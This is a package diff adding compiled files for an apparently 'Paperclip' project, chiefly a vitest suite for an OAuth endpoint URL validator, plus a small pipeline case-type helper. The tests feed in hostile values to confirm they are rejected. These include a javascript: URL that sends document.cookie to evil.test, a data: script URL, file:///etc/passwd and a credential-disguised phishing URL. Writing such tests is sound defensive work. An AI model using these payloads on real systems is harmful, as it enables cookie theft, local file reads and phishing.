,CAAC,IAAI,EAAE,CAAC;AACjE,CAAC;AAED,MAAM,UAAU,sBAAsB,CAAC,KAAc,EAAE,OAAO,GAA4B,EAAE;IAC1F,OAAO,qBAAqB,CAAC,KAAK,EAAE,OAAO,CAAC,CAAC,EAAE,CAAC;AAClD,CAAC;AAED,MAAM,WAAW,GAAsC;IACrD,aAAa,EAAE,SAAS;IACxB,KAAK,EAAE,OAAO;IACd,YAAY,EAAE,qBAAqB;IACnC,QAAQ,EAAE,UAAU;CACrB,CAAC;AAEF;;;GAGG;AACH,MAAM,UAAU,gCAAgC,CAC9C,IAAuB,EACvB,MAAiC;IAEjC,MAAM,KAAK,GAAG,WAAW,CAAC,IAAI,CAAC,CAAC;IAChC,QAAQ,MAAM,EAAE,CAAC;QACf,KAAK,SAAS;YACZ,OAAO,iCAAiC,KAAK,WAAW,CAAC;QAC3D,KAAK,WAAW;YACd,OAAO,iBAAiB,KAAK,oDAAoD,CAAC;QACpF,KAAK,oBAAoB;YACvB,OAAO,iBAAiB,KAAK,oDAAoD,CAAC;QACpF,KAAK,oBAAoB;YACvB,OAAO,iBAAiB,KAAK,uDAAuD,CAAC;QACvF,KAAK,sBAAsB;YACzB,OAAO,iBAAiB,KAAK,0EAA0E,CAAC;QAC1G,KAAK,UAAU;YACb,OAAO,iBAAiB,KAAK,0DAA0D,CAAC;IAC5F,CAAC;AACH,CAAC;AAED;;;;GAIG;AACH,MAAM,UAAU,wBAAwB,CAAC,KAAc;IACrD,IAAI,OAAO,KAAK,KAAK,QAAQ,IAAI,CAAC,KAAK,CAAC,IAAI,EAAE;QAAE,OAAO,IAAI,CAAC;IAC5D,IAAI,CAAC;QACH,OAAO,IAAI,GAAG,CAAC,KAAK,CAAC,IAAI,EAAE,CAAC,CAAC,IAAI,IAAI,IAAI,CAAC;IAC5C,CAAC;IAAC,MAAM,CAAC;QACP,OAAO,IAAI,CAAC;IACd,CAAC;AACH,CAAC"}

package/dist/oauth-endpoint-url.test.d.ts

@@ -0,0 +1,2 @@
+export {};
+//# sourceMappingURL=oauth-endpoint-url.test.d.ts.map

package/dist/oauth-endpoint-url.test.d.ts.map

@@ -0,0 +1 @@
+{"version":3,"file":"oauth-endpoint-url.test.d.ts","sourceRoot":"","sources":["../src/oauth-endpoint-url.test.ts"],"names":[],"mappings":""}

package/dist/oauth-endpoint-url.test.js

@@ -0,0 +1,163 @@
+import { describe, expect, it } from "vitest";
+import { checkOAuthEndpointUrl, isSafeOAuthEndpointUrl, oauthEndpointDisplayHost, oauthEndpointUrlRejectionMessage, } from "./oauth-endpoint-url.js";
+describe("checkOAuthEndpointUrl", () => {
+    it("accepts an https endpoint and returns its normalized url and host", () => {
+        const check = checkOAuthEndpointUrl("https://auth.example.test/oauth/authorize?prompt=consent");
+        expect(check).toEqual({
+            ok: true,
+            url: "https://auth.example.test/oauth/authorize?prompt=consent",
+            host: "auth.example.test",
+        });
+    });
+    it("keeps a non-default port in the displayed host", () => {
+        const check = checkOAuthEndpointUrl("https://auth.example.test:8443/authorize");
+        expect(check.ok && check.host).toBe("auth.example.test:8443");
+    });
+    // The values a hostile MCP server would advertise to get code running in the
+    // board's origin or to read a local file.
+    it.each([
+        ["javascript:alert(document.cookie)", "unsupported_scheme"],
+        ["javascript:fetch('https://evil.test/'+document.cookie)", "unsupported_scheme"],
+        ["data:text/html,<script>alert(1)</script>", "unsupported_scheme"],
+        ["file:///etc/passwd", "unsupported_scheme"],
+        ["vbscript:msgbox(1)", "unsupported_scheme"],
+        ["about:blank", "unsupported_scheme"],
+        ["blob:https://auth.example.test/1234", "unsupported_scheme"],
+        ["chrome://settings", "unsupported_scheme"],
+    ])("rejects %s", (value, reason) => {
+        expect(checkOAuthEndpointUrl(value)).toEqual({ ok: false, reason });
+        expect(isSafeOAuthEndpointUrl(value)).toBe(false);
+    });
+    it("rejects a scheme that only differs by case or padding", () => {
+        expect(checkOAuthEndpointUrl("  JavaScript:alert(1)  ").ok).toBe(false);
+        expect(checkOAuthEndpointUrl("JAVASCRIPT:alert(1)")).toEqual({ ok: false, reason: "unsupported_scheme" });
+    });
+    it("rejects plaintext http by default, loopback included", () => {
+        expect(checkOAuthEndpointUrl("http://auth.example.test/authorize")).toEqual({
+            ok: false,
+            reason: "insecure_transport",
+        });
+        expect(checkOAuthEndpointUrl("http://127.0.0.1:9000/authorize")).toEqual({
+            ok: false,
+            reason: "insecure_transport",
+        });
+    });
+    it("allows loopback http only under the local-development policy", () => {
+        const options = { allowInsecureLoopback: true };
+        for (const value of [
+            "http://localhost:3100/authorize",
+            "http://app.localhost:3100/authorize",
+            "http://127.0.0.1:3100/authorize",
+            "http://127.9.9.9:3100/authorize",
+            "http://[::1]:3100/authorize",
+        ]) {
+            expect(checkOAuthEndpointUrl(value, options).ok, value).toBe(true);
+        }
+    });
+    it("still rejects non-loopback http under the local-development policy", () => {
+        for (const value of [
+            "http://auth.example.test/authorize",
+            "http://10.0.0.5/authorize",
+            // Hosts that only *look* loopback.
+            "http://127.0.0.1.evil.test/authorize",
+            "http://localhost.evil.test/authorize",
+            "http://notlocalhost/authorize",
+        ]) {
+            expect(checkOAuthEndpointUrl(value, { allowInsecureLoopback: true }), value).toEqual({
+                ok: false,
+                reason: "insecure_transport",
+            });
+        }
+    });
+    it("allows plaintext http for Paperclip's own origin only", () => {
+        const options = { allowInsecureOrigins: ["http://paperclip.test"] };
+        expect(checkOAuthEndpointUrl("http://paperclip.test/api/smoke-lab/oauth/authorize", options).ok).toBe(true);
+        // Port and scheme are part of the origin, so a neighbour is not exempt.
+        expect(checkOAuthEndpointUrl("http://paperclip.test:8080/authorize", options)).toEqual({
+            ok: false,
+            reason: "insecure_transport",
+        });
+        expect(checkOAuthEndpointUrl("http://evil.test/authorize", options)).toEqual({
+            ok: false,
+            reason: "insecure_transport",
+        });
+        // The exemption is about transport only: an unsafe scheme is still unsafe.
+        expect(checkOAuthEndpointUrl("javascript:alert(1)", options)).toEqual({
+            ok: false,
+            reason: "unsupported_scheme",
+        });
+        // A garbage entry in the exemption list cannot open anything up.
+        expect(checkOAuthEndpointUrl("http://paperclip.test/authorize", { allowInsecureOrigins: ["nonsense"] })).toEqual({
+            ok: false,
+            reason: "insecure_transport",
+        });
+    });
+    it("rejects embedded credentials that disguise the real origin", () => {
+        expect(checkOAuthEndpointUrl("https://accounts.google.com@evil.test/authorize")).toEqual({
+            ok: false,
+            reason: "embedded_credentials",
+        });
+        expect(checkOAuthEndpointUrl("https://user:pw@auth.example.test/authorize")).toEqual({
+            ok: false,
+            reason: "embedded_credentials",
+        });
+    });
+    it("rejects a fragment", () => {
+        expect(checkOAuthEndpointUrl("https://auth.example.test/authorize#/../../evil")).toEqual({
+            ok: false,
+            reason: "fragment",
+        });
+    });
+    it("rejects malformed and empty values", () => {
+        expect(checkOAuthEndpointUrl("/authorize")).toEqual({ ok: false, reason: "malformed" });
+        expect(checkOAuthEndpointUrl("not a url")).toEqual({ ok: false, reason: "malformed" });
+        expect(checkOAuthEndpointUrl("https://")).toEqual({ ok: false, reason: "malformed" });
+        // A special scheme with no authority is re-parsed by WHATWG as a hostname,
+        // so it lands on the transport rule rather than being treated as relative.
+        expect(checkOAuthEndpointUrl("http:relative", { allowInsecureLoopback: true })).toEqual({
+            ok: false,
+            reason: "insecure_transport",
+        });
+        expect(checkOAuthEndpointUrl("")).toEqual({ ok: false, reason: "missing" });
+        expect(checkOAuthEndpointUrl("   ")).toEqual({ ok: false, reason: "missing" });
+        expect(checkOAuthEndpointUrl(null)).toEqual({ ok: false, reason: "missing" });
+        expect(checkOAuthEndpointUrl({ href: "https://auth.example.test" })).toEqual({
+            ok: false,
+            reason: "missing",
+        });
+    });
+});
+describe("oauthEndpointUrlRejectionMessage", () => {
+    it("names the endpoint without echoing the untrusted value", () => {
+        const message = oauthEndpointUrlRejectionMessage("authorization", "unsupported_scheme");
+        expect(message).toContain("sign-in");
+        expect(message).toContain("https");
+        expect(message).not.toContain("javascript");
+    });
+    it("covers every rejection reason for every endpoint kind", () => {
+        for (const kind of ["authorization", "token", "registration", "metadata"]) {
+            for (const reason of [
+                "missing",
+                "malformed",
+                "unsupported_scheme",
+                "insecure_transport",
+                "embedded_credentials",
+                "fragment",
+            ]) {
+                expect(oauthEndpointUrlRejectionMessage(kind, reason).length, `${kind}/${reason}`).toBeGreaterThan(0);
+            }
+        }
+    });
+});
+describe("oauthEndpointDisplayHost", () => {
+    it("returns the host for display", () => {
+        expect(oauthEndpointDisplayHost("https://auth.example.test/authorize?x=1")).toBe("auth.example.test");
+        expect(oauthEndpointDisplayHost("https://auth.example.test:8443/authorize")).toBe("auth.example.test:8443");
+    });
+    it("returns null for a value with no host", () => {
+        expect(oauthEndpointDisplayHost("javascript:alert(1)")).toBeNull();
+        expect(oauthEndpointDisplayHost("nonsense")).toBeNull();
+        expect(oauthEndpointDisplayHost(null)).toBeNull();
+    });
+});
+//# sourceMappingURL=oauth-endpoint-url.test.js.map

package/dist/oauth-endpoint-url.test.js.map

@@ -0,0 +1 @@
+{"version":3,"file":"oauth-endpoint-url.test.js","sourceRoot":"","sources":["../src/oauth-endpoint-url.test.ts"],"names":[],"mappings":"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"}

package/dist/pipeline-case-type.d.ts

@@ -0,0 +1,23 @@
+/**
+ * Derived `caseType`.
+ *
+ * A case's "type" is not a field anyone fills in — it is simply *which pipeline
+ * the case lives in* (one pipeline per kind of thing). We derive it from the
+ * pipeline so it can be used internally for display and ingest sanity-checks
+ * without any new user-facing field or lifecycle machinery.
+ *
+ * The pipeline key is a stable slug and is the canonical type identifier; we
+ * fall back to the pipeline id if a key is somehow absent.
+ */
+export interface CaseTypePipelineRef {
+    id: string;
+    key?: string | null;
+}
+export declare function deriveCaseType(pipeline: CaseTypePipelineRef): string;
+/**
+ * Ingest sanity-check: a case being ingested into a pipeline must match that
+ * pipeline's derived type. Returns true when the (optional) declared type is
+ * absent or already agrees with the pipeline — i.e. nothing to correct.
+ */
+export declare function caseTypeMatchesPipeline(declaredCaseType: string | null | undefined, pipeline: CaseTypePipelineRef): boolean;
+//# sourceMappingURL=pipeline-case-type.d.ts.map

package/dist/pipeline-case-type.d.ts.map

@@ -0,0 +1 @@
+{"version":3,"file":"pipeline-case-type.d.ts","sourceRoot":"","sources":["../src/pipeline-case-type.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;GAUG;AAEH,MAAM,WAAW,mBAAmB;IAClC,EAAE,EAAE,MAAM,CAAC;IACX,GAAG,CAAC,EAAE,MAAM,GAAG,IAAI,CAAC;CACrB;AAED,wBAAgB,cAAc,CAAC,QAAQ,EAAE,mBAAmB,GAAG,MAAM,CAGpE;AAED;;;;GAIG;AACH,wBAAgB,uBAAuB,CACrC,gBAAgB,EAAE,MAAM,GAAG,IAAI,GAAG,SAAS,EAC3C,QAAQ,EAAE,mBAAmB,GAC5B,OAAO,CAGT"}

package/dist/pipeline-case-type.js

@@ -0,0 +1,26 @@
+/**
+ * Derived `caseType`.
+ *
+ * A case's "type" is not a field anyone fills in — it is simply *which pipeline
+ * the case lives in* (one pipeline per kind of thing). We derive it from the
+ * pipeline so it can be used internally for display and ingest sanity-checks
+ * without any new user-facing field or lifecycle machinery.
+ *
+ * The pipeline key is a stable slug and is the canonical type identifier; we
+ * fall back to the pipeline id if a key is somehow absent.
+ */
+export function deriveCaseType(pipeline) {
+    const key = typeof pipeline.key === "string" ? pipeline.key.trim() : "";
+    return key || pipeline.id;
+}
+/**
+ * Ingest sanity-check: a case being ingested into a pipeline must match that
+ * pipeline's derived type. Returns true when the (optional) declared type is
+ * absent or already agrees with the pipeline — i.e. nothing to correct.
+ */
+export function caseTypeMatchesPipeline(declaredCaseType, pipeline) {
+    if (declaredCaseType == null || declaredCaseType === "")
+        return true;
+    return declaredCaseType === deriveCaseType(pipeline);
+}
+//# sourceMappingURL=pipeline-case-type.js.map

package/dist/pipeline-case-type.js.map

@@ -0,0 +1 @@
+{"version":3,"file":"pipeline-case-type.js","sourceRoot":"","sources":["../src/pipeline-case-type.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;GAUG;AAOH,MAAM,UAAU,cAAc,CAAC,QAA6B;IAC1D,MAAM,GAAG,GAAG,OAAO,QAAQ,CAAC,GAAG,KAAK,QAAQ,CAAC,CAAC,CAAC,QAAQ,CAAC,GAAG,CAAC,IAAI,EAAE,CAAC,CAAC,CAAC,EAAE,CAAC;IACxE,OAAO,GAAG,IAAI,QAAQ,CAAC,EAAE,CAAC;AAC5B,CAAC;AAED;;;;GAIG;AACH,MAAM,UAAU,uBAAuB,CACrC,gBAA2C,EAC3C,QAA6B;IAE7B,IAAI,gBAAgB,IAAI,IAAI,IAAI,gBAAgB,KAAK,EAAE;QAAE,OAAO,IAAI,CAAC;IACrE,OAAO,gBAAgB,KAAK,cAAc,CAAC,QAAQ,CAAC,CAAC;AACvD,CAAC"}